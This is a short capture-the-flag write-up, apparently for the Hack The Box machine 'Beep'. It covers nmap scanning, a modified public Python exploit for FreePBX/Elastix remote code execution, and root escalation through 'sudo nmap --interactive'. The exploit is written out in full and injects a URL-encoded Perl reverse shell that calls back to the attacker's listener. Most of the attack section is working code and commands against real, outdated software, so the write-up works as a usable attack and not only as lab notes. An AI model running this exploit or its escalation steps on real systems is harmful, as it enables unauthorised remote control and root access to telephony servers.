Beep-img

Ping

Nmap Default Scan

nmap 10.10.10.7 -oN dnmap

Nmap Script and Service Scan

nmap 10.10.10.7 -sC -sV -A -oN snmap

Nmap All Port Scan

nmap -p- --min-rate 10000 10.10.10.7 -oN anmap

on port 80 Redirected to port 443.

Look’s like we have a public exploit for this…!

Found public exploit https://github.com/infosecjunky/FreePBX-2.10.0---Elastix-2.2.0---Remote-Code-Execution?source=post_page-----51abeb89846c--------------------------------

Need Some modification, Modified code

import urllib.request
import ssl

rhost="10.10.10.7"
lhost="10.10.14.2"
lport=4444
extension="233"


ctx = ssl.SSLContext(ssl.PROTOCOL_TLSv1)
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE

# Reverse shell payload

url = 'https://'+str(rhost)+'/recordings/misc/callme_page.php?action=c&callmenum='+str(extension)+'@from-internal/n%0D%0AApplication:%20system%0D%0AData:%20perl%20-MIO%20-e%20%27%24p%3dfork%3bexit%2cif%28%24p%29%3b%24c%3dnew%20IO%3a%3aSocket%3a%3aINET%28PeerAddr%2c%22'+str(lhost)+'%3a'+str(lport)+'%22%29%3bSTDIN-%3efdopen%28%24c%2cr%29%3b%24%7e-%3efdopen%28%24c%2cw%29%3bsystem%24%5f%20while%3c%3e%3b%27%0D%0A%0D%0A'

urllib.request.urlopen(url,context=ctx)

# On Elastix, once we have a shell, we can escalate to root:
# root@bt:~# nc -lvp 443
# listening on [any] 443 ...
# connect to [172.16.254.223] from voip [172.16.254.72] 43415
# id
# uid=100(asterisk) gid=101(asterisk)
# sudo nmap --interactive

# Starting Nmap V. 4.11 ( http://www.insecure.org/nmap/ )
# Welcome to Interactive Mode -- press h <enter> for help
# nmap> !sh
# id
# uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

Also, we have steps to privilege escalation as well.

Will run the code

python3 exp.py

Got reverse shell

Will jump to Privilege Escalation…!

As we know the steps from the public exploit, will follow that

sudo nmap --interactive
!sh

Will get the flags root.txt

user.txt

I’m done with beeeep…:)